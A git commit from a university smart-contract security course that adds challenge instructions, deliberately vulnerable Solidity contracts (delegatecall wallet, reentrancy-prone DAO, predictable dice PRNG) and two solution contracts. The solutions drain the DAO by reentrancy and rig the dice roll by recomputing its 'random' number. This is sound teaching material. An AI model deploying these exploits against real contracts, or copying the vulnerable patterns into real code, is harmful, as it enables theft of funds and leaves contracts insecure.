Add project2 challenge contracts

This commit is contained in:
Tobias Eidelpes 2021-12-20 10:29:13 +01:00
parent a7a05cd8fc
commit 5f6b9fd47c
23 changed files with 677 additions and 0 deletions

18
.gitignore vendored
View File

@ -4,3 +4,21 @@
*.log
*.synctex.gz
*.out
# Ignore public/private key pair
UTC--*
# Ignore password file
passwordfile
# Ignore addresses file for personal contracts
addresses
# Ignore smartenv
smartenv_project
# Ignore genesis block
genesis.json
# Ignore enodes
enodes

181
project2/README.md Normal file
View File

@ -0,0 +1,181 @@
# Project 2 - Setup for Participants
This exercise is intended as a group project. You should solve it as follows:
- Every participant of every group should have received a personal account and some personal contracts (see below for more info);
- Every participant of every group should try to experiment and exploit their own contracts;
- You are encouraged to try the challenges yourself and then work on a solution together WITHIN your group;
- You should write and submit one report per group, documenting your solutions, how you found them, what obstacles you encountered, etc.
You should have received the following via mail:
* A **public/private key pair** (i.e., an external account). This is the file starting with `UTC--`.
Your account should be initialized with a balance of `16` *EveCoins* (our private fake ether), which should be more than enough to solve all the challenges.
* The **password file** to your account. This is the file `passwordfile`.
It contains the password to unlock and use your account.
* A `genesis.json` file describing the first block of our custom Proof-of-Authority (PoA) Ethereum blockchain.
* The node information on how to find and connect to our custom Ethereum (geth) PoA chain.
This is the file `enodes`.
* The addresses of the personalized contracts to exploit in the challenges.
This is the file `addresses`.
## Task
- **Every member of every group:**
Your task is to exploit the (personalized) challenges and use their funds to increase the balance of **your** *external account*,
which was initialized with `16` *EveCoins*. Of course you are free to work on the exploits together with your group members.
However, to *ease the grading* for us we expect that every member of the group exploits the challenges.
- **Once per group:**
In the end, prepare a short LaTeX report documenting your solution, the vulnerabilities,
how you exploited them, perhaps also some commands you used, how they could be avoided, etc.
Please use the template we provide in TUWEL. We will mainly grade as indicated below, but
keep in mind that a good report could give you some extra points while submitting a report
with no explanations (e.g., only your commands) will decrease your points.
Not submitting a report will result in 0 points.
- **Challenges:**
You should have received the challenges via mail. Inside every challenge there is a `README.md` file that provides explanations.
All your challenges can award you with `100` *EveCoins* max. (`30*3 + 10`), including your initial funds (i.e., `16` *EveCoins*) you
can get more than `100` *EveCoins*.
Grading is done by counting the *EveCoins* in your *external account* as follows:
1. More than 80 *EveCoins* on your external account
- and at least 4 personalized contracts exploited such that they have 0 funds
2. More than 70 *EveCoins* on your external account
- and at least 3 personalized contracts exploited such that they have 0 funds
3. More than 60 *EveCoins* on your external account
- and at least 2 personalized contracts exploited such that they have 0 funds
4. More than 50 *EveCoins* on your external account
- and at least 2 personalized contracts exploited such that they have 0 funds
Be careful not to "burn" your *EveCoins* due to mistakes or in risky pyramid schemes.
If your funds are gone they are gone! Hence, you might want to test your solutions first in a `ganache` test network as shown in the tutorial.
[comment]: <> (In rare cases if you screwed up very badly and have a really good excuse we *might* bail you out, but then you have to write a _detailed_ report on how you solved all the challenges)
In case of questions, or confessing painful mistakes contact us on the TUWEL forum.
**Note:**
It is advisable to keep the commands you used for solving each challenge as a backup and as a reminder for you in case you have to "replay" your solutions on a newly initialized blockchain instance. Furthermore, you will need the commands when writing the report.
## Connect to our custom testnet
To connect to our private Ethereum PoA testnet you need our *genesis block*, which you should have received via mail.
Do not modify this file. This file has to be identical, otherwise you will not be able to connect.
- Ensure that the file `/genesis_config/go-ethereum/genesis.json` is the identical to the `genesis.json` file you have received from us via mail, otherwise replace the former with the latter.
- Copy your personal key file (the file starting with `UTC--`) into the folder `/datadir/bob/keystore` (and if the folder does not exist create it yourself).
- The `passwordfile` will later be used to unlock your account.
- Ensure that the enode information in `geth_run_bob.sh` is identical to the one you received per mail. Otherwise, replace the `enode` string in the following line with the value that you received from us:
```bash
export BOOTNODE="enode://7e2f25fbffc9210113452523b3d3823f6ee1f03752f0e9393d8bfb30dcf4ad3d60d73667ef6c25845171478a25ed8bd7e312d035a7cae0fe58e11c4f5a9738c5@ethereum.teaching.secpriv.wien:30303?discport=30303"
```
### Prerequisites
1. You might need to install `pwgen`:
```bash
$ apt-get install pwgen # or on macOS: brew install pwgen
```
2. Install docker ce
Install docker according to your respective distribution:
https://docs.docker.com/get-docker/
3. Build docker image
```bash
$ DOCKERFILE=smartenv.geth.stable.Dockerfile
$ VERSIONTAG=v1.9.23
$ bash docker_build_smartenv.sh
```
### Connect
Make sure that the system time of your computer is correct, this is relevant for our PoA setup.
Then, initialize your client (Bob), and run it to connect to our server.
```bash
$ ntpdate ntp.ubuntu.com # or on macOS: sudo sntp -sS time.apple.com
$ bash geth_init_bob.sh
$ bash geth_run_bob.sh
```
**Note:** When you connect to the server for the first time it can take a bit of time until you client (Bob) syncs with our testnet blockchain.
**Note:** Check if all your contracts have the right initial balances.
There should be 3 contracts with `30` *EveCoins* each and one with `10` *EveCoins*.
You can do this by running:
```bash
$ bash geth_attach.sh
```
If the command fails, you might need to set the container identifier of your docker container (which you can get by running `docker ps`),
or change the port number to a port that is not in use. For example:
```bash
$ CONTAINERID=... RPCPORT=... bash geth_attach.sh
```
Once you connect to geth, then execute the following command, by replacing `"..."` with the addresses of your contracts found in the file `addresses`
that you receive from us via mail:
```bash
eth.getBalance("...")
```
For more commands and some help refer to the Ethereum tutorial (and the recording of it on TUWEL), walk through it yourself or read the hints provided with some of the challenges.
## More hints
If you want, you can run a Jupyter notebook using:
```bash
$ bash docker_build_smartcode.sh
$ bash docker_run_smartcode.sh
```
Then, inside the notebook make sure to import and connect to your client (Bob) using the following:
```python
import sys
import requests
sys.path.append("/smartcode/util")
import util
from importlib import reload
reload(util)
# Connect to Bob
#w3=web3.Web3(web3.Web3.HTTPProvider("http://172.18.0.1:8545"))
# check if connection was successful
w3=util.connect(host="172.18.0.8",port="8545",poa=True)
assert w3.isConnected()
```
To unlock your account
```python
pw = "the password in passwordfile that you receive per mail"
address = w3.eth.accounts[0] # the address we want to unlock
w3.geth.personal.unlockAccount(address,pw,0) # third (optional) parameter is the duration (if 0 then forever)
```
### Create your own local ganache testnet
You should have more than enough coins to solve the challenges on our chain.
In case you want to be careful, you can (as mentioned in the tutorial) build your own testnet.
You can do this as follows and/or look at the tutorial.
**Note:** Be sure, not to mix up the repository where you set up your own ganache with the one you use for solving the challenges on our server.
In order to build local testnet, if not already done, do the following:
```bash
$ DOCKERFILE=smartenv.geth.stable.Dockerfile
$ VERSIONTAG=v1.9.23
$ bash docker_build_smartenv.sh
```
Then, build ganache:
```bash
$ bash docker_build_ganache.sh
```
Follow the instructions in `README_TUTOR.md` up to "Test client bob".

View File

@ -0,0 +1,32 @@
# Bad Parity
## Story
You are still working at an IT Security Consultant company called *AllmostAllsafe*.
The biggest customer of *AllmostAllsafe* is *EveCorp*.
*EveCorp* is highly interested in Blockchain and Smart Contract projects lately (as almost every company...).
After the great success of their fund raising DAO, the company wants to put their funds into a very secure *Wallet contract* so that all funds are better protected.
Therefore, they have decided to put their faith into a *Wallet contract* library form a subcontractor called *BadParity*.
That is the story so far.
*ring ring late night emergency call*
There is a major security breach within the wallet contracts of *BadParity* and you have to handle the incident response!
Since it is a smart contract we cannot simply patch the vulnerability.
Moreover, the admin of the customer who is under the controll of the keys for the *Wallet contract* is on vacation - therefore we cannot simply use those keys.
To the rescue: It is your task to find the vulnerability, exploit it and withdraw all the money from the *Wallet contract* before an attacker can do that.
## Technical description
There is an instance of the *Wallet contract* for every student, initialized with a balance of `30` *EveCoins*.
The *Wallet contract* is of course owned by an *EveCorp* account, that is not under your control.
The challenge is solved when the balance of your *Wallet contract* is `0`
## Hints
* http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/
* http://solidity.readthedocs.io/en/v0.4.23/introduction-to-smart-contracts.html

View File

@ -0,0 +1 @@
[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getWalletLibrary","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"new_owner","type":"address"}],"name":"changeOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_student","type":"address"},{"name":"lib","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"exitcode","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"LogValue","type":"event"}]

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,51 @@
pragma solidity ^0.5.4;
contract Wallet {
address walletLibrary;
address payable owner;
address payable student;
event LogValue(uint256 exitcode,uint256 amount);
// constructor, called once when this contract is created
constructor(address payable _student, address lib) public payable {
student = _student;
walletLibrary = lib; // hardcode lib address at deploy time
// init the owner with the respective lib contract
walletLibrary.delegatecall(abi.encodeWithSignature("initWallet(address)", msg.sender));
}
function getOwner() public view returns (address payable) {
return owner;
}
function getWalletLibrary() public view returns (address) {
return walletLibrary;
}
function withdraw(uint256 amount) public returns (bool) {
(bool success, bytes memory data) = walletLibrary.delegatecall(abi.encodeWithSignature("withdraw(uint256)", amount));
if ( success ) {
emit LogValue(200,amount);
} else {
emit LogValue(401,amount);
}
return success;
}
function changeOwner(address payable new_owner) public returns (bool) {
(bool success, bytes memory data) = walletLibrary.delegatecall(abi.encodeWithSignature("changeOwner(address)", new_owner));
return success;
}
function getStudent() public view returns (address) {
return student;
}
// fallback function gets called if no other function matches call
function () external payable {
emit LogValue(301,msg.value);
require( tx.origin == student );
walletLibrary.delegatecall(msg.data);
}
}

View File

@ -0,0 +1 @@
[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_owner","type":"address"}],"name":"initWallet","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"new_owner","type":"address"}],"name":"changeOwner","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"exitcode","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"LogValue","type":"event"}]

View File

@ -0,0 +1 @@
608060405234801561001057600080fd5b506103fb806100206000396000f3fe60806040526004361061005c576000357c0100000000000000000000000000000000000000000000000000000000900480632e1a7d4d1461009e578063893d20e8146100f15780639da8be2114610148578063a6f9dae11461018c575b7fa9a26360ded17bbe6528a5ec42df34cc22964927204d7a69575e12c6839d426c60c834604051808381526020018281526020019250505060405180910390a1005b3480156100aa57600080fd5b506100d7600480360360208110156100c157600080fd5b81019080803590602001909291905050506101f5565b604051808215151515815260200191505060405180910390f35b3480156100fd57600080fd5b506101066102b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61018a6004803603602081101561015e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102df565b005b34801561019857600080fd5b506101db600480360360208110156101af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610323565b604051808215151515815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ab57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505090506102b0565b600090505b919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103c55781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190506103ca565b600090505b91905056fea165627a7a723058205f88d4d451a7221ee85e4076f21abdd5b7040cb167545c1a755fb96263ea19160029

View File

@ -0,0 +1,38 @@
pragma solidity ^0.5.4;
contract WalletLibrary {
address walletLibrary;
address payable owner;
address payable student;
event LogValue(uint256 exitcode,uint256 amount);
function initWallet(address payable _owner) public payable {
owner = _owner;
}
function getOwner() public view returns (address payable) {
return owner;
}
function changeOwner(address payable new_owner) public returns (bool success) {
if (msg.sender == owner) {
owner = new_owner;
return true;
} else {
return false;
}
}
function withdraw(uint256 amount) public returns (bool success) {
if (msg.sender == owner) {
return owner.send(amount);
} else {
return false;
}
}
function () external payable {
emit LogValue(200,msg.value);
}
}

View File

@ -0,0 +1 @@
[{"constant":true,"inputs":[],"name":"student","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"investorAddr","type":"address"},{"name":"canAdd","type":"bool"}],"name":"addInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"getInvestor","outputs":[{"name":"canFund","type":"bool"},{"name":"canAddInvestor","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"queryFunds","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"fundit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_student","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"ret","type":"uint256"}],"name":"Success","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"ret","type":"uint256"}],"name":"Fail","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"req","type":"uint256"},{"indexed":false,"name":"avail","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"NotEnoughFunds","type":"event"}]

File diff suppressed because one or more lines are too long

90
project2/daodown/EDao.sol Normal file
View File

@ -0,0 +1,90 @@
pragma solidity ^0.5.4;
contract EDao {
address payable public student;
//Events
event Success(address src,uint256 ret);
event Fail(address src,uint256 ret);
event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance);
//Structs
struct Fund {
address payable payoutAddr;
uint256 amount;
}
struct Investor {
bool canFund;
bool canAddInvestor;
}
//Mappings
mapping(address => Investor) investors;
mapping(address => Fund) funds;
constructor(address payable _student) public payable {
// Set the deployer as one of the investors who initially funded this contract
investors[msg.sender] = Investor({canFund:true, canAddInvestor:true});
// Set the student as one of the investors
student = _student;
investors[student] = Investor({canFund:true, canAddInvestor:true});
}
function fundit(address payable to) public payable {
Investor memory b = investors[msg.sender];
if (b.canFund) {
Fund storage f = funds[to];
f.payoutAddr = to;
f.amount += msg.value;
emit Success(msg.sender,0);
} else {
emit Fail(msg.sender,1);
revert();
}
}
function queryFunds(address addr) public view returns (uint256) {
Fund memory f = funds[addr];
return f.amount;
}
function withdraw(address payable addr,uint256 amount) public returns (bool) {
Fund storage f = funds[addr];
if (f.amount >= amount && amount <= address(this).balance) {
(bool success, ) = f.payoutAddr.call.value(amount)("");
if (success) {
f.amount = f.amount - amount;
return true;
}
} else {
emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance);
}
return false;
}
function getStudent() public view returns (address) {
return student;
}
function addInvestor(address payable investorAddr,bool canAdd) public {
Investor memory b = investors[msg.sender];
if (b.canAddInvestor) {
investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd});
emit Success(msg.sender,0);
} else {
emit Fail(msg.sender,2);
}
}
function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) {
Investor memory b = investors[investorAddr];
canFund = b.canFund;
canAddInvestor = b.canAddInvestor;
return (canFund, canAddInvestor);
}
}

View File

@ -0,0 +1,35 @@
# DAO Down
## Story
You are working at an IT Security Consultant company called *AllmostAllsafe*.
The biggest customer of *AllmostAllsafe* is *EveCorp*.
*EveCorp* is highly interested in Blokchain and SmartContract projects lately.
Their latest project is a fund raising DAO (*Directed* Autonomous Organisation).
This *EDao* was used to gather large amounts of *EveCoins* and used to invest them into different projects.
There are rumours that the *EDao* has a severe bug that might be exploited by one of the already funded projects.
Since it is a smart contract we cannot simply patch this vulnerability.
The only way out would be a hard fork to undo all malicious activities but this would crush the reputation of *EveCoin*.
Your task is it to avoid such a situation.
Find the vulnerability, exploit it and withdraw all the money from
the *EDao* before an attacker can do that.
## Technical description
There is an instance of the *EDao* for every student.
You received a public/private key pair (i.e., a *geth* account) together with the address and ABI of the SmartContract you have to exploit.
Your public/private key pair is associated with your contract.
This means that you are the *owner* of that contract and therefore only you can solve this challenge for your *EDao* instance.
To use your pre-generated `geth` account just copy the file starting with `UTC...` into your `keystore` folder in the data directory of your client.
Your *EDao* as has a balance of `30` *EveCoins*.
The challenge is solved when the balance of your *EDao* is `0`.
## Hint
This paper outlines the vulnerability and attack. The contract you have to exloit is named `EDao`, which has the substring **DAO** in its name.
* https://allquantor.at/blockchainbib/pdf/atzei2016survey.pdf

View File

@ -0,0 +1,32 @@
pragma solidity ^0.8.0;
contract Hacker {
address public owner;
address public challengeAddress;
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor (address _challengeAddress) {
owner = msg.sender;
challengeAddress = _challengeAddress;
}
function pwn() public {
(bool success, ) = challengeAddress.call(
abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
);
if (!success) revert();
}
function withdraw() external onlyOwner {
selfdestruct(payable(owner));
}
fallback() external payable {
if (challengeAddress.balance >= 1 ether) pwn();
}
}

View File

@ -0,0 +1,19 @@
# Description for challenge `FaileDice`
## Story
Dear Gambler, *EveCorp* is pleased to announce our new "provably fair" dice gambling contract!
The rules are simple:
Choose a number between 0 and 255 and the contract will roll the dice.
If you roll a 42, your bet will be increased tenfold (x10)
Otherwise, you lose your bet
Happy betting
## Technical description
Drain the contract of its funds.
## Hint
There is a way to increase your "luck"

View File

@ -0,0 +1 @@
[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"user_roll","type":"uint8"}],"name":"rollDice","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_student","type":"address"},{"name":"_big_secret","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"user_roll","type":"uint8"},{"indexed":false,"name":"outcome","type":"uint8"},{"indexed":false,"name":"bet","type":"uint256"},{"indexed":false,"name":"has_won","type":"bool"}],"name":"EventDiceRoll","type":"event"}]

View File

@ -0,0 +1 @@
60806040526040516040806105b18339810180604052604081101561002357600080fd5b81019080805190602001909291908051906020019092919050505081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060008190555050506104d9806100d86000396000f3fe608060405260043610610051576000357c0100000000000000000000000000000000000000000000000000000000900480632e1a7d4d14610053578063960630491461008e578063b439548d146100bf575b005b34801561005f57600080fd5b5061008c6004803603602081101561007657600080fd5b8101908080359060200190929190505050610116565b005b6100bd600480360360208110156100a457600080fd5b81019080803560ff1690602001909291905050506101bc565b005b3480156100cb57600080fd5b506100d46103bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561017257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156101b8573d6000803e3d6000fd5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161480156102195750600034115b151561022457600080fd5b60003411151561023357600080fd5b600061023e336103e9565b9050600082820160ff16602a1490508015610325573073ffffffffffffffffffffffffffffffffffffffff1631600a34021015156102d9573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156102d3573d6000803e3d6000fd5b50610324565b3373ffffffffffffffffffffffffffffffffffffffff166108fc600a34029081150290604051600060405180830381858888f19350505050158015610322573d6000803e3d6000fd5b505b5b7f058adfaada73ddb946c1d033264e6be95e23d055f74b3a348843067aa233bba033848585013485604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018560ff1660ff1681526020018460ff1660ff168152602001838152602001821515151581526020019550505050505060405180910390a1505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000814142600054604051602001808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018381526020018281526020019450505050506040516020818303038152906040528051906020012060019004905091905056fea165627a7a723058208343d81ada81bf8d9dae5f752a9a92009ac89b278b6cd51d699048348544d6670029

View File

@ -0,0 +1,63 @@
//pragma solidity ^0.4.12;
pragma solidity ^0.5.4;
contract SatoshiFailDice{
// Hint: use web3.toInt() when converting bytes to soldity uint - else values may not match
uint private big_secret;
address student;
address private owner;
event EventDiceRoll(address user, uint8 user_roll, uint8 outcome, uint256 bet, bool has_won);
constructor(address _student, uint _big_secret) public payable{
student = _student;
owner = msg.sender;
big_secret = _big_secret;
}
function rollDice(uint8 user_roll) payable public {
// You get x10 of your bet if you roll a 42
// ensure only the right student can interact with their contract
require(tx.origin == student && msg.value > 0);
require (msg.value > 0 );
// grab a new random number
uint8 contract_roll = PRNG(msg.sender);
bool has_won = (42 == (contract_roll + user_roll ));
if ( has_won ) {
// Bad luck if you're betting more than you can possibly win
if ( msg.value*10 >= address(this).balance) {
msg.sender.transfer(address(this).balance);
}
else {
// you won
msg.sender.transfer(msg.value*10);
}
}
emit EventDiceRoll(msg.sender, user_roll, contract_roll + user_roll, msg.value, has_won);
}
function PRNG(address sender) private view returns(uint8){
// Totally "awesome" PRNG
//return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret)));
return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret))));
}
function getStudent() public view returns (address) {
return student;
}
// allow paying funds
function() external payable { }
function withdraw(uint256 amount) public {
require(msg.sender == owner);
msg.sender.transfer(amount);
}
}

View File

@ -0,0 +1,39 @@
pragma solidity ^0.5.4;
contract Hacking {
uint big_secret = 0x91f40773b6db987faa1b19cc367e0a6931414e9558f5dbe23198a988fc4a64f5;
address payable owner;
address payable challengeAddress;
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor (address payable _challengeAddress) {
owner = msg.sender;
challengeAddress = _challengeAddress;
}
function pwn() external payable {
require(msg.value == 4 ether, "Must supply 4 ether");
uint8 contract_roll = PRNG();
uint8 user_roll = 42 - contract_roll;
(bool success, ) = challengeAddress.call.value(msg.value)(
abi.encodeWithSignature("rollDice(uint8)", user_roll)
);
if (!success) revert();
}
function PRNG() private view returns (uint8) {
return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret))));
}
function withdraw() external onlyOwner {
selfdestruct(owner);
}
function() external payable { }
}

View File

@ -0,0 +1 @@
[{"constant":false,"inputs":[{"name":"oldowner","type":"address"}],"name":"removeOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"testowner","type":"address"}],"name":"isOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"student","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newowner","type":"address"}],"name":"addOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_student","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"}]

View File

@ -0,0 +1 @@
608060405260405160208061085b8339810180604052602081101561002357600080fd5b810190808051906020019092919050505080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610796806100c56000396000f3fe608060405260043610610098576000357c0100000000000000000000000000000000000000000000000000000000900480637065cb481161006b5780637065cb48146101e95780638da5cb5b1461023a578063b439548d14610291578063d0e30db0146102e857610098565b8063173825d91461009d5780632e1a7d4d146100ee5780632f54bf6e14610129578063699450e814610192575b600080fd5b3480156100a957600080fd5b506100ec600480360360208110156100c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102f2565b005b3480156100fa57600080fd5b506101276004803603602081101561011157600080fd5b81019080803590602001909291905050506104cb565b005b34801561013557600080fd5b506101786004803603602081101561014c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610574565b604051808215151515815260200191505060405180910390f35b34801561019e57600080fd5b506101a76105e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f557600080fd5b506102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610608565b005b34801561024657600080fd5b5061024f610719565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029d57600080fd5b506102a661073e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f0610768565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061039a57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4163636573732064656e6469656421000000000000000000000000000000000081525060200191505060405180910390fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055151561047057600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561052a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610570573d6000803e3d6000fd5b5050565b600060011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105d857600190506105dd565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806106b357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156106be57600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473fffffffffffffffffffffffffffffff